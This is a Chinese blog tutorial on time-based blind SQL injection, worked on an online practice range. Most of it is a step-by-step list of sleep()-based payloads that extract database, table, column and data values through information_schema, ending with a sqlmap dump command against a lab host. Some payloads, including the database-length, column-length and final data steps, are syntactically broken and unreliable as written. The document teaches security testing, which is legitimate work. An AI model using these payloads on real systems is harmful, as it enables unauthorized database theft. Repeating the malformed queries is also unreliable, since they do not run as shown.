学习延时盲注看这一篇就够了

时间盲注是一种在布尔盲注无效时使用的SQL注入技术,通过观察页面响应时间来获取信息。文章介绍了如何利用sleep函数进行延时判断,以及一系列用于检测数据库信息、表名和字段的SQL语句。虽然实际测试中应避免使用,因为可能影响业务,但可以借助工具如SQLMap进行自动化测试。
摘要由CSDN通过智能技术生成

前言

延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据

应用场景:当布尔盲注失效的情况下,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入。

在实际测试中禁止使用延时盲注,因为会影响厂商的实际业务运行,当年某人注入了一个sleep(10)后,就被请去喝茶了,建议不要轻易使用延时盲注。

延时盲注常用函数

substr(database(),1,1)数据库名称中截取 从第一位开始截取 截取长度为1
ascii() 返回字符串最左边字符的ASCII值
if(语句1,语句2,语句3) 如果语句1正确执行语句2,否则执行语句3

延时盲注实战

墨者靶场:SQL注入漏洞测试(时间盲注)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

测试注入点

常规思路

1.测速单引号,网页没有报错信息,放弃联合查询的方式

2.测试布尔盲注,网页没有false,true的变化

3.测试延时盲注

延时注入的测试效果检查可以在浏览器右击检查可以看到数据包的返回时长来验证是否发生了延时

1.判断是否存在延时注入 及 注入类型判断
?id=1' and sleep(5) --+ 根据休眠时间判断
如果延时五秒,说明注入类型是字符型

2.判断数据库的长度
and if (length(database))>数值,sleep(5),1) #是否大于10

3.判断第一个字符是什么
and if(ascii(substr(database(),1,1))>数值,sleep(5),1) #是否是字母
确定他的ascii值是多少,对应一个字符

4.确定表的数量
and if((select count(table_name) from information_schema.tables where table_schema = database())=数值,sleep(5),1)

5.确定第一个表名的长度
and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数值,sleep(5),1)

6.判断第一个表名的第一个字符
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>数值,sleep(5),1)

7.判断当前表有多少个字段
and if(length((select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1))=数值,sleep(5),1) --+

8.判断第一个字段的长度
and if(length((select column_name from information_schema.columns where table_schema =database() and table_name=‘表名’ limit 0,1) ,1,1)) =数值,sleep(5),1)

9.判断第一个字段的第一个字符
if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=数值,sleep(5),1)

10.根据以上信息查询数据
判断数据长度
and if(length((select 字段名 from 表名 limit 0,1))=数值,sleep(5),1)–+
判断数据的字符
and if(ascii(substr((select 字段名 from 表名 limit 0,1),1))=数值,sleep(5),1

这个过程测试起来是很麻烦的,建议使用SQLMap进行测试

python sqlmap.py -u "http://124.70.71.251:45379/flag.php?type=1" --batch -D pentesterlab -T flag -C flag,id --dump

总结

时间盲注适合在布尔注入都失效的情况,结合sleep,if(,,)基于数据包返回时间测试的方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dao-道法自然

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值